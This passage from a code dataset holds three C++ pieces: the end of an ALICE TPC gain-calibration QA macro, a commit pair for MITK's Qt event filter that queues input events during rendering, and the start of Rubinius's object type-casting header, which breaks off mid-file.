\"offsetdZAchi2=\"<< offsetdZAchi2<<\n    \"slopedZAchi2=\"<< slopedZAchi2<<\n    \"offsetdZCchi2=\"<< offsetdZCchi2<<\n    \"slopedZCchi2=\"<<slopedZCchi2;\n  \n}\n\n\nvoid AnalyzeGain(){\n  \/\/\n  \/\/ gain statistic\n  \/\/\n  AliPerformanceDEdx * pTPCgain =  (AliPerformanceDEdx *)pTPCObjectGain;\n  static TVectorD MIPvsSector(36);\n  static TVectorD sector(36);\n  static Float_t MIPmean = 0;\n  static Float_t MIPresolution = 0;\n  static Float_t attachSlopeC = 0;\n  static Float_t attachSlopeA = 0;\n\n  MIPvsSector.Zero();\n  \/\/\n  \/\/ select MIP particles\n  \/\/\n  pTPCgain->GetDeDxHisto()->GetAxis(7)->SetRangeUser(0.4,0.55);\n  pTPCgain->GetDeDxHisto()->GetAxis(0)->SetRangeUser(35,60);\n  pTPCgain->GetDeDxHisto()->GetAxis(6)->SetRangeUser(80,160);\n  pTPCgain->GetDeDxHisto()->GetAxis(5)->SetRangeUser(-1,1);\n  \/\/\n  \/\/ MIP position and resolution\n  \/\/\n  TF1 gausFit(\"gausFit\",\"gaus\");\n  TH1 * hisProj1D = pTPCgain->GetDeDxHisto()->Projection(0);\n  hisProj1D->Fit(&gausFit,\"QN\",\"QN\");\n  delete hisProj1D;\n  MIPmean = gausFit.GetParameter(1);\n  MIPresolution = 0;\n  if (MIPmean!=0) MIPresolution = gausFit.GetParameter(2)\/MIPmean;\n  \/\/\n  \/\/ MIP position vs. dip angle (attachment)\n  \/\/\n  pTPCgain->GetDeDxHisto()->GetAxis(5)->SetRangeUser(-3,0);\n  TH2* his2D = pTPCgain->GetDeDxHisto()->Projection(0,5);\n  TF1 * fpol = new TF1(\"fpol\",\"pol1\");\n  TObjArray arrayFit;\n  his2D->FitSlicesY(0,0,-1,10,\"QN\",&arrayFit);\n  delete his2D;\n  TH1 * his1D = (TH1*) arrayFit.At(1);\n  his1D->Fit(fpol,\"QNROB=0.8\",\"QNR\",-1,0);\n  attachSlopeC = fpol->GetParameter(1);\n  \/\/\n  pTPCgain->GetDeDxHisto()->GetAxis(5)->SetRangeUser(0,3);\n  TH2* his2DA = pTPCgain->GetDeDxHisto()->Projection(0,5);\n  TF1 * fpolA = new TF1(\"fpolA\",\"pol1\");\n  TObjArray arrayFitA;\n  his2DA->FitSlicesY(0,0,-1,10,\"QN\",&arrayFit);\n  delete his2DA;\n  TH1 * his1DA = (TH1*) arrayFit.At(1);\n  his1DA->Fit(fpolA,\"QNROB=0.8\",\"QN\",0,1);\n  attachSlopeA = fpolA->GetParameter(1);\n  \/\/\n  \/\/ MIP position vs. sector\n  \/\/\n  pTPCgain->GetDeDxHisto()->GetAxis(5)->SetRangeUser(-3,0); \/\/ C side\n  for(Int_t i = 0; i < 18; i++) { \/\/ loop over sectors; correct mapping to be checked!\n    TH1* his1D=0;\n    Float_t phiLow = -TMath::Pi() + i*(20.\/360.)*(2*TMath::Pi());\n    Float_t phiUp  = -TMath::Pi() + (i+1)*(20.\/360.)*(2*TMath::Pi());\n    pTPCgain->GetDeDxHisto()->GetAxis(1)->SetRangeUser(phiLow,phiUp);\n    his1D = pTPCgain->GetDeDxHisto()->Projection(0);\n    TF1 gausFunc(\"gausFunc\",\"gaus\");\n    his1D->Fit(&gausFunc, \"QN\");\n    MIPvsSector(i) = gausFunc.GetParameter(1);\n    sector(i)=i;\n    delete his1D;\n  }\n  \/\/\n  pTPCgain->GetDeDxHisto()->GetAxis(5)->SetRangeUser(0,3); \/\/ A side\n  for(Int_t i = 0; i < 18; i++) { \/\/ loop over sectors; correct mapping to be checked!\n    TH1* his1D=0;\n    Float_t phiLow = -TMath::Pi() + i*(20.\/360.)*(2*TMath::Pi());\n    Float_t phiUp  = -TMath::Pi() + (i+1)*(20.\/360.)*(2*TMath::Pi());\n    pTPCgain->GetDeDxHisto()->GetAxis(1)->SetRangeUser(phiLow,phiUp);\n    his1D = pTPCgain->GetDeDxHisto()->Projection(0);\n    TF1 gausFunc(\"gausFunc\",\"gaus\");\n    his1D->Fit(&gausFunc, \"QN\");\n    MIPvsSector(i+18) = gausFunc.GetParameter(1);\n    sector(i+18)=i+18;\n    delete his1D;\n  }\n  \/\/\n  printf(\"Gain QA report\\n\");\n  printf(\"MIP mean\\t%f\\n\",MIPmean);\n  printf(\"MIP resolution\\t%f\\n\",MIPresolution);\n  printf(\"MIPslopeA\\t%f\\n\",attachSlopeA);\n  printf(\"MIPslopeC\\t%f\\n\",attachSlopeC);\n  \/\/\n  (*pcstream)<<\"tpcQA\"<<\n    \"MIPattachSlopeC=\"<<attachSlopeC<<\n    \"MIPattachSlopeA=\"<<attachSlopeA<<\n    \"MIPresolution=\"<<MIPresolution<<\n    \"MIPvsSector.=\"<<&MIPvsSector<<\n    \"sector.=\"<<&sector<<\n    \"MIPmean=\"<<MIPmean;\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\nProgram:   Medical Imaging & Interaction Toolkit\nLanguage:  C++\nDate:      $Date$\nVersion:   $Revision$\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"mitkVolumeDataVtkMapper3D.h\"\n#include \"QmitkAbortEventFilter.h\"\n#include \"QmitkRenderWindow.h\"\n#include \"mitkRenderingManager.h\"\n#include \"QmitkRenderingManager.h\"\n\n#include \"mitkNodePredicateProperty.h\"\n#include \"mitkDataStorage.h\"\n#include \"mitkProperties.h\"\n\n#include \"QVTKWidget.h\"\n\n#include <qapplication.h>\n#include <qeventloop.h>\n#include <qguardedptr.h>\n\nQmitkAbortEventFilter*\nQmitkAbortEventFilter\n::GetInstance()\n{\n  static QmitkAbortEventFilter instance;\n  return &instance;\n}\n\nQmitkAbortEventFilter\n::QmitkAbortEventFilter()\n: m_LODRendererAtButtonPress( NULL )\n{\n}\n\n\nQmitkAbortEventFilter\n::~QmitkAbortEventFilter()\n{\n}\n\n\nbool \nQmitkAbortEventFilter\n::eventFilter( QObject *object, QEvent *event )\n{   \n  \/\/ Extract renderer (if event has been invoked on a RenderWindow)\n  bool isLODRenderer = false;\n  mitk::BaseRenderer *renderer = NULL;\n  QVTKWidget *qVTKWidget = dynamic_cast< QVTKWidget * >( object );\n  if (qVTKWidget != NULL )\n  {\n    renderer = mitk::BaseRenderer::GetInstance( qVTKWidget->GetRenderWindow() );\n    if ( renderer && renderer->GetNumberOfVisibleLODEnabledMappers() > 0 )\n    {\n      isLODRenderer = true;\n    }\n    else\n    {\n      \/\/ Only LOD enabled renderers are considered\n      renderer = NULL;\n    }\n\n  }\n\n  if (mitk::RenderingManager::GetInstance()->IsRendering() )\n  {\n    switch ( event->type() )\n    {\n   \n    case QEvent::MouseButtonPress:\n    { \n      \/\/ Let only the first (RenderWindow specific) click event affect\n      \/\/ the LOD process (Qt issues multiple events on mouse click, but the\n      \/\/ RenderWindow specific one is issued first)\n      if ( !m_ButtonPressed )\n      {\n        m_ButtonPressed = true;\n\n        mitk::RenderingManager::GetInstance()->AbortRendering();\n\n        \/\/ For non-LOD RenderWindows, renderer is set to NULL and consequently,\n        \/\/ the LOD counters for ALL RenderWindows are reset to 0.\n        mitk::RenderingManager::GetInstance()->SetNextLOD( 0, renderer );\n        mitk::RenderingManager::GetInstance()->LODIncreaseBlockedOn();\n\n        \/\/ Store renderer (if LOD-enabled), otherwise renderer will be NULL\n        m_LODRendererAtButtonPress = renderer;\n      }\n\n      \/\/ Store renderer if it is LOD enabled for mouse release\n      if ( isLODRenderer )\n      {\n        m_LODRendererAtButtonPress = renderer;\n      }\n\n      QMouseEvent* me = ( QMouseEvent* )( event );\n      QMouseEvent* newEvent = new QMouseEvent(\n        me->type(), me->pos(), me->globalPos(), me->button(), me->state()\n      );\n      m_EventQueue.push( ObjectEventPair(QGuardedPtr< QObject >( object ), newEvent) );\n      return true;\n    }\n\n    \n    case QEvent::MouseButtonDblClick:\n    { \n      mitk::RenderingManager::GetInstance()->AbortRendering();\n      QMouseEvent* me = ( QMouseEvent* )( event );\n\n      QMouseEvent* newEvent = new QMouseEvent(\n        me->type(), me->pos(), me->globalPos(), me->button(), me->state()\n      );\n      m_EventQueue.push( ObjectEventPair(QGuardedPtr< QObject >( object ), newEvent) );\n      return true;\n    }\n\n    case QEvent::MouseMove:\n    { \n      if ( m_ButtonPressed )\n      {\n        if ( isLODRenderer && mitk::RenderingManager::GetInstance()->GetNextLOD( m_LODRendererAtButtonPress ) != 0 )\n        {\n          mitk::RenderingManager::GetInstance()->SetNextLOD( 0, m_LODRendererAtButtonPress );\n          mitk::RenderingManager::GetInstance()->AbortRendering();\n        }\n      }\n      return true;\n    }\n\n    case QEvent::MouseButtonRelease:\n    { \n      if ( m_ButtonPressed )\n      {\n        m_ButtonPressed = false;\n        \n        mitk::RenderingManager::GetInstance()->LODIncreaseBlockedOff();\n      }\n\n      QMouseEvent* me = ( QMouseEvent* )( event );\n      QMouseEvent* newEvent = new QMouseEvent(\n        me->type(), me->pos(), me->globalPos(), me->button(), me->state()\n      );\n      m_EventQueue.push( ObjectEventPair(QGuardedPtr< QObject >( object ), newEvent) );\n      return true;\n    }\n\n    case QEvent::Wheel:\n    {\n      mitk::RenderingManager::GetInstance()->SetNextLOD( 0, renderer );\n      mitk::RenderingManager::GetInstance()->AbortRendering();\n\n      QWheelEvent* we = ( QWheelEvent* )( event );\n      QWheelEvent* newEvent = new QWheelEvent(\n        we->pos(), we->globalPos(), we->delta(), we->state(), we->orientation()\n      );\n      m_EventQueue.push( ObjectEventPair(QGuardedPtr< QObject >( object ), newEvent) );\n      return true;\n    }    \n   \n    case QEvent::Paint:\n    { \n      QPaintEvent* pe = ( QPaintEvent* )( event );\n      QPaintEvent* newEvent = new QPaintEvent( pe->region() );\n      m_EventQueue.push( ObjectEventPair(QGuardedPtr< QObject >( object ), newEvent) );\n      return true;\n    }\n\n    case QEvent::KeyPress:\n    { \n      mitk::RenderingManager::GetInstance()->AbortRendering();\n      QKeyEvent* ke = ( QKeyEvent* )( event );\n      QKeyEvent* newEvent = new QKeyEvent(\n        ke->type(), ke->key(), ke->ascii(), ke->state(), ke->text(), false, ke->count()\n      );\n      m_EventQueue.push( ObjectEventPair(QGuardedPtr< QObject >( object ), newEvent) );\n      return true;\n    }\n\n    case QmitkRenderingRequestEvent::RenderingRequest:\n    {\n      QmitkRenderingRequestEvent *newEvent = new QmitkRenderingRequestEvent();\n      m_EventQueue.push( ObjectEventPair(QGuardedPtr< QObject >( object ), newEvent) );\n      return true;\n    }\n\n    default:\n    {\n      return false;\n    }\n    }\n  }\n  else\n  {\n    switch ( event->type() )\n    {\n      case QEvent::MouseButtonPress:\n      {\n        \/\/ Let only the first (RenderWindow specific) click event affect\n        \/\/ the LOD process (Qt issues multiple events on mouse click, but the\n        \/\/ RenderWindow specific one is issued first)\n        if ( !m_ButtonPressed )\n        {\n          m_ButtonPressed = true;\n          \/\/mitk::RenderingManager::GetInstance()->SetNextLOD( 0, renderer );\n          mitk::RenderingManager::GetInstance()->LODIncreaseBlockedOn();\n\n          m_LODRendererAtButtonPress = renderer;\n        }\n\n        \/\/ Store renderer if it is LOD enabled for mouse release\n        if ( isLODRenderer )\n        {\n          m_LODRendererAtButtonPress = renderer;\n        }\n\n        return false;\n      }\n\n      case QEvent::MouseMove:\n      {\n        \/\/ Nothing to do in this case\n        return false;\n      }\n\n      case QEvent::Wheel:\n      {\n        mitk::RenderingManager::GetInstance()->RequestUpdateAll(\n          mitk::RenderingManager::REQUEST_UPDATE_3DWINDOWS );\n        return false;\n      }     \n\n      case QEvent::MouseButtonRelease:\n      {\n        if ( m_ButtonPressed )\n        {\n          m_ButtonPressed = false;\n          mitk::RenderingManager::GetInstance()->LODIncreaseBlockedOff();\n\n          if ( m_LODRendererAtButtonPress != NULL )\n          {\n            mitk::RenderingManager::GetInstance()->RequestUpdate(\n              m_LODRendererAtButtonPress->GetRenderWindow() );\n          }\n          else\n          {\n            mitk::RenderingManager::GetInstance()->RequestUpdateAll(\n              mitk::RenderingManager::REQUEST_UPDATE_3DWINDOWS );\n          }\n        }\n        return false;\n      }\n    \n      case QEvent::Resize:\n      {\n        mitk::RenderingManager::GetInstance()->RequestUpdateAll(\n          mitk::RenderingManager::REQUEST_UPDATE_3DWINDOWS );\n        return false;\n      } \n\n      case QEvent::ChildInserted:\n      {\n        mitk::RenderingManager::GetInstance()->RequestUpdateAll(\n          mitk::RenderingManager::REQUEST_UPDATE_3DWINDOWS );\n        return false;\n      }\n\n      default:\n      {\n        return false;\n      }\n    }\n  }\n}\n\n\nvoid \nQmitkAbortEventFilter\n::ProcessEvents()\n{ \n  qApp->eventLoop()->processEvents( QEventLoop::AllEvents );\n}\n\n\nvoid \nQmitkAbortEventFilter\n::IssueQueuedEvents()\n{\n  while ( !m_EventQueue.empty() )\n  {\n    ObjectEventPair eventPair = m_EventQueue.front();\n    if ( eventPair.first )\n    {\n      QApplication::postEvent( eventPair.first, eventPair.second );\n    }\n    m_EventQueue.pop();\n  }\n}\n<commit_msg>ENH (#976): Check for more events in QmitkAbortEventFilter; use typedef for GuardedPtr<commit_after>\/*=========================================================================\n\nProgram:   Medical Imaging & Interaction Toolkit\nLanguage:  C++\nDate:      $Date$\nVersion:   $Revision$\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"mitkVolumeDataVtkMapper3D.h\"\n#include \"QmitkAbortEventFilter.h\"\n#include \"QmitkRenderWindow.h\"\n#include \"mitkRenderingManager.h\"\n#include \"QmitkRenderingManager.h\"\n\n#include \"mitkNodePredicateProperty.h\"\n#include \"mitkDataStorage.h\"\n#include \"mitkProperties.h\"\n\n#include \"QVTKWidget.h\"\n\n#include <qapplication.h>\n#include <qeventloop.h>\n#include <qguardedptr.h>\n\nQmitkAbortEventFilter*\nQmitkAbortEventFilter\n::GetInstance()\n{\n  static QmitkAbortEventFilter instance;\n  return &instance;\n}\n\nQmitkAbortEventFilter\n::QmitkAbortEventFilter()\n: m_LODRendererAtButtonPress( NULL )\n{\n}\n\n\nQmitkAbortEventFilter\n::~QmitkAbortEventFilter()\n{\n}\n\n\nbool \nQmitkAbortEventFilter\n::eventFilter( QObject *object, QEvent *event )\n{   \n  typedef QGuardedPtr< QObject > GuardedObject;\n\n  \/\/ Extract renderer (if event has been invoked on a RenderWindow)\n  bool isLODRenderer = false;\n  mitk::BaseRenderer *renderer = NULL;\n  QVTKWidget *qVTKWidget = dynamic_cast< QVTKWidget * >( object );\n  if (qVTKWidget != NULL )\n  {\n    renderer = mitk::BaseRenderer::GetInstance( qVTKWidget->GetRenderWindow() );\n    if ( renderer && renderer->GetNumberOfVisibleLODEnabledMappers() > 0 )\n    {\n      isLODRenderer = true;\n    }\n    else\n    {\n      \/\/ Only LOD enabled renderers are considered\n      renderer = NULL;\n    }\n\n  }\n\n  if (mitk::RenderingManager::GetInstance()->IsRendering() )\n  {\n    \/\/m_EventQueue.push( ObjectEventPair(GuardedObject( object ), event) );\n    \/\/return true;\n\n    switch ( event->type() )\n    {\n   \n    case QEvent::MouseButtonPress:\n    { \n      \/\/ Let only the first (RenderWindow specific) click event affect\n      \/\/ the LOD process (Qt issues multiple events on mouse click, but the\n      \/\/ RenderWindow specific one is issued first)\n      if ( !m_ButtonPressed )\n      {\n        m_ButtonPressed = true;\n\n        mitk::RenderingManager::GetInstance()->AbortRendering();\n\n        \/\/ For non-LOD RenderWindows, renderer is set to NULL and consequently,\n        \/\/ the LOD counters for ALL RenderWindows are reset to 0.\n        mitk::RenderingManager::GetInstance()->SetNextLOD( 0, renderer );\n        mitk::RenderingManager::GetInstance()->LODIncreaseBlockedOn();\n\n        \/\/ Store renderer (if LOD-enabled), otherwise renderer will be NULL\n        m_LODRendererAtButtonPress = renderer;\n      }\n\n      \/\/ Store renderer if it is LOD enabled for mouse release\n      if ( isLODRenderer )\n      {\n        m_LODRendererAtButtonPress = renderer;\n      }\n\n      QMouseEvent* me = ( QMouseEvent* )( event );\n      QMouseEvent* newEvent = new QMouseEvent(\n        me->type(), me->pos(), me->globalPos(), me->button(), me->state()\n      );\n      m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\n    }\n\n    \n    case QEvent::MouseButtonDblClick:\n    { \n      mitk::RenderingManager::GetInstance()->AbortRendering();\n      QMouseEvent* me = ( QMouseEvent* )( event );\n\n      QMouseEvent* newEvent = new QMouseEvent(\n        me->type(), me->pos(), me->globalPos(), me->button(), me->state()\n      );\n      m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\n    }\n\n    case QEvent::MouseMove:\n    { \n      if ( m_ButtonPressed )\n      {\n        if ( isLODRenderer && mitk::RenderingManager::GetInstance()->GetNextLOD( m_LODRendererAtButtonPress ) != 0 )\n        {\n          mitk::RenderingManager::GetInstance()->SetNextLOD( 0, m_LODRendererAtButtonPress );\n          mitk::RenderingManager::GetInstance()->AbortRendering();\n        }\n      }\n      return true;\n    }\n\n    case QEvent::MouseButtonRelease:\n    { \n      if ( m_ButtonPressed )\n      {\n        m_ButtonPressed = false;\n        \n        mitk::RenderingManager::GetInstance()->LODIncreaseBlockedOff();\n      }\n\n      QMouseEvent* me = ( QMouseEvent* )( event );\n      QMouseEvent* newEvent = new QMouseEvent(\n        me->type(), me->pos(), me->globalPos(), me->button(), me->state()\n      );\n      m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\n    }\n\n    case QEvent::Wheel:\n    {\n      mitk::RenderingManager::GetInstance()->SetNextLOD( 0, renderer );\n      mitk::RenderingManager::GetInstance()->AbortRendering();\n\n      QWheelEvent* we = ( QWheelEvent* )( event );\n      QWheelEvent* newEvent = new QWheelEvent(\n        we->pos(), we->globalPos(), we->delta(), we->state(), we->orientation()\n      );\n      m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\n    }    \n   \n    case QEvent::Paint:\n    { \n      QPaintEvent* pe = ( QPaintEvent* )( event );\n      QPaintEvent* newEvent = new QPaintEvent( pe->region() );\n      m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\n    }\n\n    case QEvent::KeyPress:\n    { \n      mitk::RenderingManager::GetInstance()->AbortRendering();\n      QKeyEvent* ke = ( QKeyEvent* )( event );\n      QKeyEvent* newEvent = new QKeyEvent(\n        ke->type(), ke->key(), ke->ascii(), ke->state(), ke->text(), false, ke->count()\n      );\n      m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\n    }\n\n    case QmitkRenderingRequestEvent::RenderingRequest:\n    {\n      \/\/QmitkRenderingRequestEvent *newEvent = new QmitkRenderingRequestEvent();\n      \/\/m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\n    }\n\n    case QEvent::ChildInserted: \/\/change Layout (Big3D, 2D images up, etc.)\t \n    {\t \n      mitk::RenderingManager::GetInstance()->SetNextLOD( 0 );\t \n      mitk::RenderingManager::GetInstance()->AbortRendering();\t \n\n      QChildEvent* ce = ( QChildEvent* )( event );\t \n      QChildEvent* newEvent = new QChildEvent(\t \n        QEvent::ChildInserted, ce->child() );\t \n      m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\t \n    }\t \n\n    case QEvent::ChildRemoved: \/\/change Layout (Big3D, 2D images up, etc.)\t \n    {\t \n      mitk::RenderingManager::GetInstance()->SetNextLOD( 0 );\t \n      mitk::RenderingManager::GetInstance()->AbortRendering();\t \n\n      QChildEvent* ce = ( QChildEvent* )( event );\t \n      QChildEvent* newEvent = new QChildEvent(\t \n        QEvent::ChildRemoved, ce->child() );\t \n      m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\t \n    }\t \n\n    case QEvent::Show:\t \n    {\t \n      mitk::RenderingManager::GetInstance()->SetNextLOD( 0 );\t \n      mitk::RenderingManager::GetInstance()->AbortRendering();\t \n\n      QShowEvent* newEvent = new QShowEvent();\t \n      m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\t \n    }\t \n\n    case QEvent::Hide:\t \n    {\t \n      mitk::RenderingManager::GetInstance()->SetNextLOD( 0 );\t \n      mitk::RenderingManager::GetInstance()->AbortRendering();\t \n\n      QHideEvent* newEvent = new QHideEvent();\t \n      m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\n    }\n\n    case QEvent::Close:\n    {\n      mitk::RenderingManager::GetInstance()->SetNextLOD( 0 );\n      mitk::RenderingManager::GetInstance()->AbortRendering();\n\n      QCloseEvent* newEvent = new QCloseEvent();\n      m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\n    }\n\n    case QEvent::ContextMenu:\n    {\n      mitk::RenderingManager::GetInstance()->SetNextLOD( 0 );\n      mitk::RenderingManager::GetInstance()->AbortRendering();\n\n      QContextMenuEvent *cme = ( QContextMenuEvent * )( event );\n      QContextMenuEvent *newEvent = new QContextMenuEvent(\n        cme->reason(), cme->pos(), cme->globalPos(), cme->state() );\n      m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\n    }\n\n    case QEvent::Timer:\n    { \n      QTimerEvent* te = ( QTimerEvent* )( event );\n      QTimerEvent* newEvent = new QTimerEvent(te->timerId());\n      m_EventQueue.push( ObjectEventPair(GuardedObject( object ), newEvent) );\n      return true;\n    }\n\n    default:\n    {\n      return true;\n    }\n    }\n  }\n  else\n  {\n    switch ( event->type() )\n    {\n      case QEvent::MouseButtonPress:\n      {\n        \/\/ Let only the first (RenderWindow specific) click event affect\n        \/\/ the LOD process (Qt issues multiple events on mouse click, but the\n        \/\/ RenderWindow specific one is issued first)\n        if ( !m_ButtonPressed )\n        {\n          m_ButtonPressed = true;\n          \/\/mitk::RenderingManager::GetInstance()->SetNextLOD( 0, renderer );\n          mitk::RenderingManager::GetInstance()->LODIncreaseBlockedOn();\n\n          m_LODRendererAtButtonPress = renderer;\n        }\n\n        \/\/ Store renderer if it is LOD enabled for mouse release\n        if ( isLODRenderer )\n        {\n          m_LODRendererAtButtonPress = renderer;\n        }\n\n        return false;\n      }\n\n      case QEvent::MouseMove:\n      {\n        \/\/ Nothing to do in this case\n        return false;\n      }\n\n      case QEvent::Wheel:\n      {\n        mitk::RenderingManager::GetInstance()->RequestUpdateAll(\n          mitk::RenderingManager::REQUEST_UPDATE_3DWINDOWS );\n        return false;\n      }     \n\n      case QEvent::MouseButtonRelease:\n      {\n        if ( m_ButtonPressed )\n        {\n          m_ButtonPressed = false;\n          mitk::RenderingManager::GetInstance()->LODIncreaseBlockedOff();\n\n          if ( m_LODRendererAtButtonPress != NULL )\n          {\n            mitk::RenderingManager::GetInstance()->RequestUpdate(\n              m_LODRendererAtButtonPress->GetRenderWindow() );\n          }\n          else\n          {\n            mitk::RenderingManager::GetInstance()->RequestUpdateAll(\n              mitk::RenderingManager::REQUEST_UPDATE_3DWINDOWS );\n          }\n        }\n        return false;\n      }\n    \n      case QEvent::Resize:\n      {\n        mitk::RenderingManager::GetInstance()->RequestUpdateAll(\n          mitk::RenderingManager::REQUEST_UPDATE_3DWINDOWS );\n        return false;\n      } \n\n      case QEvent::ChildInserted:\n      {\n        mitk::RenderingManager::GetInstance()->RequestUpdateAll(\n          mitk::RenderingManager::REQUEST_UPDATE_3DWINDOWS );\n        return false;\n      }\n\n      default:\n      {\n        return false;\n      }\n    }\n  }\n}\n\n\nvoid \nQmitkAbortEventFilter\n::ProcessEvents()\n{ \n  qApp->eventLoop()->processEvents( QEventLoop::AllEvents );\n}\n\n\nvoid \nQmitkAbortEventFilter\n::IssueQueuedEvents()\n{\n  while ( !m_EventQueue.empty() )\n  {\n    ObjectEventPair eventPair = m_EventQueue.front();\n    if ( eventPair.first )\n    {\n      QApplication::postEvent( eventPair.first, eventPair.second );\n    }\n    m_EventQueue.pop();\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef RBX_VM_OBJECT_UTILS_HPP\n#define RBX_VM_OBJECT_UTILS_HPP\n\n#include \"builtin\/object.hpp\"\n#include \"exception.hpp\"\n\n\/**\n *  @file   object_utils.hpp\n *\n *  Defines all the most common operations for dealing with\n *  objects, such as type checking and casting.\n *\/\n\n\/\/ A stupid work around for g++ changing it's behavior on 4.3\n\n#if __clang__ || (__GNUC__ >= 4 && __GNUC_MINOR__ >= 3)\n  #define SPECIALIZATION_STORAGE\n#else\n  #define SPECIALIZATION_STORAGE static inline\n#endif\n\nnamespace rubinius {\n\n  \/**\n   *  Ruby type system subtype check.\n   *\n   *  Given builtin-class +T+, return true if +obj+ is of class +T+\n   *\/\n  template <class T>\n    static inline bool kind_of(const Object* obj) {\n      if(obj->reference_p()) {\n        return obj->type_id() == T::type;\n      }\n      return false;\n    }\n\n  \/**\n   * A specialized version for completeness.\n   *\/\n  template <>\n    SPECIALIZATION_STORAGE bool kind_of<Object>(const Object* obj) {\n      return true;\n    }\n\n  \/**\n   *  Ruby type system class check.\n   *\n   *  Another version of kind_of that shouldn't be specialized for subtype\n   *  compatibility. I.e., only whether object's class is this specific\n   *  one.\n   *\/\n  template <class T>\n    static inline bool instance_of(const Object* obj) {\n      if(obj->reference_p()) {\n        return obj->type_id() == T::type;\n      }\n      return false;\n    }\n\n  \/**\n   * A specialized version for completeness.\n   *\/\n  template <>\n    SPECIALIZATION_STORAGE bool instance_of<Object>(const Object* obj) {\n      return obj->reference_p() && (obj->type_id() == ObjectType);\n    }\n\n  \/*\n   *  There is NO reason why as() or try_as() should be getting\n   *  NULL arguments. That means something has not been properly\n   *  initialised (to cNil if nothing else.)\n   *\/\n\n  \/**\n   *  Cast Object* into builtin T*.\n   *\n   *  Given builtin class +T+, return +obj+ cast as type +T*+. If\n   *  +obj+ is not of type +T+, throw's a TypeError exception.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline T* as(Object* obj) {\n      if(!kind_of<T>(obj)) {\n        TypeError::raise(T::type, obj);\n      }\n\n      return static_cast<T*>(obj);\n    }\n\n  \/**\n   *  Cast const Object* into builtin const T*.\n   *\n   *  Given builtin class +T+, return +obj+ cast as type +T*+. If\n   *  +obj+ is not of type +T+, throw's a TypeError exception.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline const T* as(const Object* obj) {\n      if(!kind_of<T>(obj)) {\n        TypeError::raise(T::type, obj);\n      }\n\n      return static_cast<const T*>(obj);\n    }\n\n  \/**\n   * A specialized version for completeness.\n   *\/\n  template <>\n    SPECIALIZATION_STORAGE Object* as<Object>(Object* obj) {\n      return obj;\n    }\n\n  \/**\n   * A specialized version for completeness.\n   *\/\n  template <>\n    SPECIALIZATION_STORAGE const Object* as<Object>(const Object* obj) {\n      return obj;\n    }\n\n  \/**\n   *  Cast Object* into builtin T*.\n   *\n   *  Given builtin class +T+, return +obj+ cast as type +T*+. If\n   *  +obj+ is not exactly of type +T+, throw's a TypeError exception.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline T* as_instance(Object* obj) {\n      if(!instance_of<T>(obj)) {\n        TypeError::raise(T::type, obj);\n      }\n\n      return static_cast<T*>(obj);\n    }\n\n  \/**\n   *  Cast const Object* into builtin const T*.\n   *\n   *  Given builtin class +T+, return +obj+ cast as type +T*+. If\n   *  +obj+ is not exactly of type +T+, throw's a TypeError exception.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline const T* as_instance(const Object* obj) {\n      if(!instance_of<T>(obj)) {\n        TypeError::raise(T::type, obj);\n      }\n\n      return static_cast<const T*>(obj);\n    }\n\n  \/**\n   *  Non-raising version of as().\n   *\n   *  Similar to as<>, but returns NULL if the type is invalid. ONLY\n   *  use this when doing a conditional cast.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline T* try_as(Object* obj) {\n      if(!kind_of<T>(obj)) {\n        return NULL;\n      }\n\n      return static_cast<T*>(obj);\n    }\n\n  \/**\n   *  Non-raising version of as(), for const objects.\n   *\n   *  Similar to as<>, but returns NULL if the type is invalid. ONLY\n   *  use this when doing a conditional cast.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline const T* try_as(const Object* obj) {\n      if(!kind_of<T>(obj)) {\n        return NULL;\n      }\n\n      return static_cast<const T*>(obj);\n    }\n\n  \/**\n   *  Non-raising version of as_instance().\n   *\n   *  Similar to as_instance<>, but returns NULL if the type is invalid. ONLY\n   *  use this when doing a conditional cast.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline T* try_as_instance(Object* obj) {\n      if(!instance_of<T>(obj)) {\n        return NULL;\n      }\n\n      return static_cast<T*>(obj);\n    }\n\n  \/**\n   *  Non-raising version of as(), for const objects.\n   *\n   *  Similar to as<>, but returns NULL if the type is invalid. ONLY\n   *  use this when doing a conditional cast.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline const T* 